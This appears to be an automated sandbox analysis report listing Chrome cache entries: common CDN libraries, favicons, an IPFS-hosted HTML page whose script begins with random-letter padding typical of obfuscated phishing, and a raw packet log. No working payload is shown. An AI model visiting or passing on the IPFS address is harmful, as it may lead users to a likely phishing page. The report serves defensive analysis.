URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwm7oKrZ_PJoBxIFDYOoWz0SBQ1lIZnq?alt=proto
Preview:	ChoKCw2DqFs9GgQIVhgCCgsNZSGZ6hoECEsYAg==

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22079)
Category:	downloaded
Size (bytes):	22121
Entropy (8bit):	5.228626830226261
Encrypted:	false
SSDEEP:	384:mcq9EarScee7MORRKT6dSR4VCPH3ZaSKLxkW2aaz2my:ONrb7MOHKT1DaSe62my
MD5:	06D4CCB8C9A64E1763251BC9A1544BEA
SHA1:	9C41EC88BAFF81B9F8993C12963283BBBEBF0906
SHA-256:	A78D872DEE0B66E1FD7CFDAB14645678B8F9596CF42B212029825029ACDA4DFC
SHA-512:	0466DAE676B82A98F111630EB94CDA2797AC1D431F53FAA8B5DDB3BF9B2E82A79D3B1DFEA0715A7A278ECC542CDC239ADACABA04092C462AED005CEDAF255914
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/firebasejs/8.10.0/firebase-app.js
Preview:	!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).firebase=t()}(this,function(){"use strict";var r=function(e,t){return(r=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])})(e,t)};var n=function(){return(n=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e}).apply(this,arguments)};function e(e,a,s,l){return new(s=s\|\|Promise)(function(n,t){function r(e){try{o(l.next(e))}catch(e){t(e)}}function i(e){try{o(l.throw(e))}catch(e){t(e)}}function o(e){var t;e.done?n(e.value):((t=e.value)instanceof s?t:new s(function(e){e(t)})).then(r,i)}o((l=l.apply(e,a\|\|[])).next())})}function i(n,r){var i,o,a,s={label:0,sent:function(){if(1&a[0])th

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1993)
Category:	downloaded
Size (bytes):	2333
Entropy (8bit):	5.3037723566289285
Encrypted:	false
SSDEEP:	48:tLSLSwAvdOnljQOAtQDIDoK0oKtxunwLKu61hUd1FnifsnU9Jla6N9QQdgIv:tL4SmPAiDkqxZG/C6ECgIv
MD5:	C0AC9C9487D60DE96DC68DBB25BD8DD6
SHA1:	99419B0BE4B85422FF84870E54DBD8A52DC6DAB1
SHA-256:	76AD6584AC5BDD459939DC7532FAE7C2BDD8E22D773FF16D2306F42A1FFC569C
SHA-512:	C62F8DF47104F7B878772DCCA4AEA04D11AB1144E73492BF5E49B9FC92582EB23C7F7ED8A580214F7772506A47602815311D2F3EE3AC3C9B8AA4AADE319BA1D7
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/jquery.session@1.0.0/jquery.session.min.js
Preview:	/*. Minified by jsDelivr using UglifyJS v3.0.24.. * Original file: /npm/jquery.session@1.0.0/jquery.session.js. * . * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files. */.!function(e){e.session={_id:null,_cookieCache:void 0,_init:function(){window.name\|\|(window.name=Math.random()),this._id=window.name,this._initCache();var e=new RegExp(this._generatePrefix()+"=([^;]+);").exec(document.cookie);if(e&&document.location.protocol!==e[1]){this._clearSession();for(var t in this._cookieCache)try{window.sessionStorage.setItem(t,this._cookieCache[t])}catch(e){}}document.cookie=this._generatePrefix()+"="+document.location.protocol+";path=/;expires="+new Date((new Date).getTime()+12e4).toUTCString()},_generatePrefix:function(){return"__session:"+this._id+":"},_initCache:function(){var e=document.cookie.split(";");this._cookieCache={};for(var t in e){var i=e[t].split("=");new RegExp(this._generatePrefix()+".+").test(i[0])&&i

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Reputation:	low
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	187743
Entropy (8bit):	5.204349188224144
Encrypted:	false
SSDEEP:	3072:Pc8bQZ71JFgnJZJcJOJCJgJBJwJhJHJ4JyJoJam5LFOKZoE/hvMy:PvMLenD64EGz2XJaI+FLFOKZoE/hky
MD5:	5B6536A22C6832363CD9C3DE6D47519E
SHA1:	75D91E3A2037C5CED639A7ED8D0983B2FDDED93A
SHA-256:	6F10791F42DE6C8708ADA99086C3469EEBB1DD55D4AA872DFB9848DDF19DCD2B
SHA-512:	16868E6144BE10AC0FDD910B5B2FC0DAC44968229212EBE1EC836BDBF36E1B47B1F43809DA182D343DFEFF1310F8FCCADA98A26703D54D9FA75CF7B45A82558E
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/firebasejs/8.10.0/firebase-database.js
Preview:	!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("@firebase/app")):"function"==typeof define&&define.amd?define(["@firebase/app"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).firebase)}(this,function(Du){"use strict";try{!function(){function e(e){return e&&"object"==typeof e&&"default"in e?e:{default:e}}var t=e(Du),r=function(e,t){return(r=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])})(e,t)};function n(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var l=function(){return(l=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e}).apply

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2239
Entropy (8bit):	7.871813134992175
Encrypted:	false
SSDEEP:	48:6K1wM46eCwoPkdRMxRrfE2ax3LyO2eVxivFL920yhipsINNtPkzz:11va/ocMxV8fWleV092rcs4/PkX
MD5:	CFF064308AD84FF4AE3D3523693583DF
SHA1:	5F246E96E361375F9292FFFEA0BE2FED8669F6F7
SHA-256:	3FD92353073F0EE132C1021F1B16A19DFE6D933899EDC331A6F05FE416777552
SHA-512:	E48966A8BF398EB2E16020F6FCE01D16A8D9941CF50A324E38B74B351843059C43EF77E7478B20ADB09A021D3712F9B73B826EB0107E85F6665DBA6DDA341FFA
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....IDATX..WiTTW...}.........j$Q3.....A=.........E....]..Q.q.%..=f.t4.:.....N.."[.....G.....9.O..U.Wu.+2d.0.D...l.9.~...t.\R.U)/o..#..1.v........M..}.K...%~............d..4.1........F....&I...".B;8.ka..MI.......C.c....iJU......75b...i..$0...lv.)c..f.Xl..~C...gu.......s..`.4.5.....".<.f.P.\....u..(Y.kh.&.....I.g...@...lS.......O.9..AAn.{.....\TT1.....V]....KG..........o....p."+^.e.....=.@~zV.....{.Z..A=.t...$..`.~..MI.f..\}>.6G.........v......"...+....u...m..S...dR.54....i..I.v-...?-y.3{./Z.C.z-......V...=..5../>...%f./.&...y..e...........$..`D.q......n.n..y.._....s.....d.1. ]....y9.9...gu...b.t.....hTTIP.>.%)..`]...&y....<.....8....j.bO.RS>.o=.....OK7.c. ...p..t.`.....).....)UUjpY..z.....0............)(w.w..rb.../.}o.X.1.cj.2V..........w..V3.l......YyE$x.....q_...0..+.+r.k.....W...........+...@.l...._7.[.X..5..L.$......>..O.Jb.J#......B.G._Ze....N...+..'DQ.+.Z0.....<..\.(e...qBQ.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2239
Entropy (8bit):	7.871813134992175
Encrypted:	false
SSDEEP:	48:6K1wM46eCwoPkdRMxRrfE2ax3LyO2eVxivFL920yhipsINNtPkzz:11va/ocMxV8fWleV092rcs4/PkX
MD5:	CFF064308AD84FF4AE3D3523693583DF
SHA1:	5F246E96E361375F9292FFFEA0BE2FED8669F6F7
SHA-256:	3FD92353073F0EE132C1021F1B16A19DFE6D933899EDC331A6F05FE416777552
SHA-512:	E48966A8BF398EB2E16020F6FCE01D16A8D9941CF50A324E38B74B351843059C43EF77E7478B20ADB09A021D3712F9B73B826EB0107E85F6665DBA6DDA341FFA
Malicious:	false
Reputation:	low
URL:	"https://t0.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,SIZE,URL&url=https://www.domain.com&size=64"
Preview:	.PNG........IHDR... ... .....szz.....IDATX..WiTTW...}.........j$Q3.....A=.........E....]..Q.q.%..=f.t4.:.....N.."[.....G.....9.O..U.Wu.+2d.0.D...l.9.~...t.\R.U)/o..#..1.v........M..}.K...%~............d..4.1........F....&I...".B;8.ka..MI.......C.c....iJU......75b...i..$0...lv.)c..f.Xl..~C...gu.......s..`.4.5.....".<.f.P.\....u..(Y.kh.&.....I.g...@...lS.......O.9..AAn.{.....\TT1.....V]....KG..........o....p."+^.e.....=.@~zV.....{.Z..A=.t...$..`.~..MI.f..\}>.6G.........v......"...+....u...m..S...dR.54....i..I.v-...?-y.3{./Z.C.z-......V...=..5../>...%f./.&...y..e...........$..`D.q......n.n..y.._....s.....d.1. ]....y9.9...gu...b.t.....hTTIP.>.%)..`]...&y....<.....8....j.bO.RS>.o=.....OK7.c. ...p..t.`.....).....)UUjpY..z.....0............)(w.w..rb.../.}o.X.1.cj.2V..........w..V3.l......YyE$x.....q_...0..+.+r.k.....W...........+...@.l...._7.[.X..5..L.$......>..O.Jb.J#......B.G._Ze....N...+..'DQ.+.Z0.....<..\.(e...qBQ.

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (54356)
Category:	downloaded
Size (bytes):	139670
Entropy (8bit):	4.899187727174496
Encrypted:	false
SSDEEP:	3072:d3BJBLwK3NY3/2Hh9v/LuwweDANA4fc7Iuehkls1FAUBe:d3BJxBNY3/2B9v/LuwweDANA4fc7IueW
MD5:	54A78B0C0BDB288EC9C35EF3A32DFD59
SHA1:	AFE4940639D63A8406A6D9399D8D5335249420CA
SHA-256:	B426C445300A70B4025C6F4EDA5D7EC8935E509209AC2CF1535B965D3135E326
SHA-512:	8D3740B5F50A41063F562A87C31084E0172F38D5E4F9AA06384ADEDB95052A933CE24F588743ACFBE314BE0409212AD6B754E4AD03EAE3E74B6DFDFDFFC8538D
Malicious:	false
Reputation:	low
URL:	https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/
Preview:	<script>/* agNvJxlAvOnCheNoxjaDBByzoObPZYoBlfTuxCJBqFsOEXdUkUaqmuoAHsiuzdalvlsFNuMvgFKoggDnYaIANawZEogHAKSIVlnG.PCPRCZMEyoMCEZXbLiPocoiCYtdeedlXNXJuZivHXzYthJlsaGFLhUFpNsVUzxZYxvWqBWtYKPqxGzUXfUaPVjKRRGUvsQZKpdYE.pppabYMzxHRhiDPQaiJmMnKVlgeZuXpgManfTKXHWbgQJqVFNlNkplpdbtfSKMMJnxURXzJVCKwvAHkrxjvoOhoQryhVWKkREQRO.QSNYdEbeXUFdgPJCKtNMiNegcndknUsmItRdJRBNTfXvikhBJUTdDhWPbtTeASaiqaxSHPaaPXJfrEJxaLFPXWjZGruHQHTWkprj.PylfgOzGQWWRivuBIBRMxtUpBQxPAIYVpwmjCXHrskbWrTcaJSOUCMAheZePRRGPxCkEXkmdhZrHrSvKTyANKoLQFEDKroWXPqBS.kVEUohRaIsvsePvRUjjPRZQxYyespRWBFDRIrGbbKeTsDuYPWChUOnejUZVxIyTtOwHlaTFzteKQKOTqTekWZZrmOkjEQKgiLCgM.NTVmdyKwutonlNgeAZqtONrLOCsqgjcuVmBixpGBBlOikjcxLDHcdQVaLkFwTrUCSmaYRAtqOnWgInveKzjfaFpAaOgXVBCpKSkk.opHJFsTJTdbKnkJHrEIVaTfFhzpgbdIgCTfASpRdzimfsPfRbgUWMVmjCwwGOBdzipUjXzDqssHpdKXdQAGGuHEcrFukQqBmXRPf.YmFXrNkRPJVLisgzHNanrQvetsNFHtpJwsuvCjmqoluMyHwjenPjJPBeRovUnElvludtxIxYtXVKziAYpsKTrSwqoGHkzLrouaKR.mXhdzlEeKQJmDiUZjyhtJrcvdhtalCmwGuenljzhpKSebgPIgyvPofoHoXlQGogPiFXkAHSRohaegnHc

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65326)
Category:	downloaded
Size (bytes):	160302
Entropy (8bit):	5.078105585474276
Encrypted:	false
SSDEEP:	1536:V47CIJ0T2r+ryEIA1pDEBi8yNcuSEcA1/uypq3SYiLENM6HN26b:S7VSGGq3SYiLENM6HN26b
MD5:	816AF0EDDD3B4822C2756227C7E7B7EE
SHA1:	C470239D4C7DB36D56DC3A74A080C62218C6EDC4
SHA-256:	5B0FBE5B7AD705F6A937C4998AD02F73D8F0D976FE231B74AEF0EC996990C93A
SHA-512:	32844D968C5B4AD05C0FCCF733FD819A74FEAE0E08B0CC4F917686876CC3E8B18D34513CD16DE89EC02145C30032B4A8C962FDC43EC4AEDD267A7EEF47C2D466
Malicious:	false
Reputation:	low
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css
Preview:	/!. Bootstrap v4.5.2 (https://getbootstrap.com/). * Copyright 2011-2020 The Bootstrap Authors. * Copyright 2011-2020 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). /:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace},::after,::before{box-sizing:bo

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 28, 2024 14:14:50.070075035 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.070116043 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.070166111 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.071386099 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.071402073 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.321830034 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.322226048 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.322242975 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.323565960 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.323651075 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.325726986 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.325815916 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.326133013 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.326143026 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.366446018 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.599051952 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.599117994 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.599152088 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.599168062 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.599181890 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.599217892 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.599222898 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.599253893 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.599291086 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.599296093 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.599556923 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.599595070 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.599596024 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.599605083 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.599637032 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.599642992 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.600127935 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.600172043 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.600172997 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.600182056 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.600209951 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.600234032 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.600289106 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.600326061 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.600332022 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.601496935 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.601536036 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.601537943 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.601547003 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.601582050 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.601597071 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.601739883 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.601774931 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.601779938 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.602066040 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.602101088 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.602107048 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.602157116 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.602189064 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.602191925 CET	49703	443	192.168.2.16	104.17.64.14
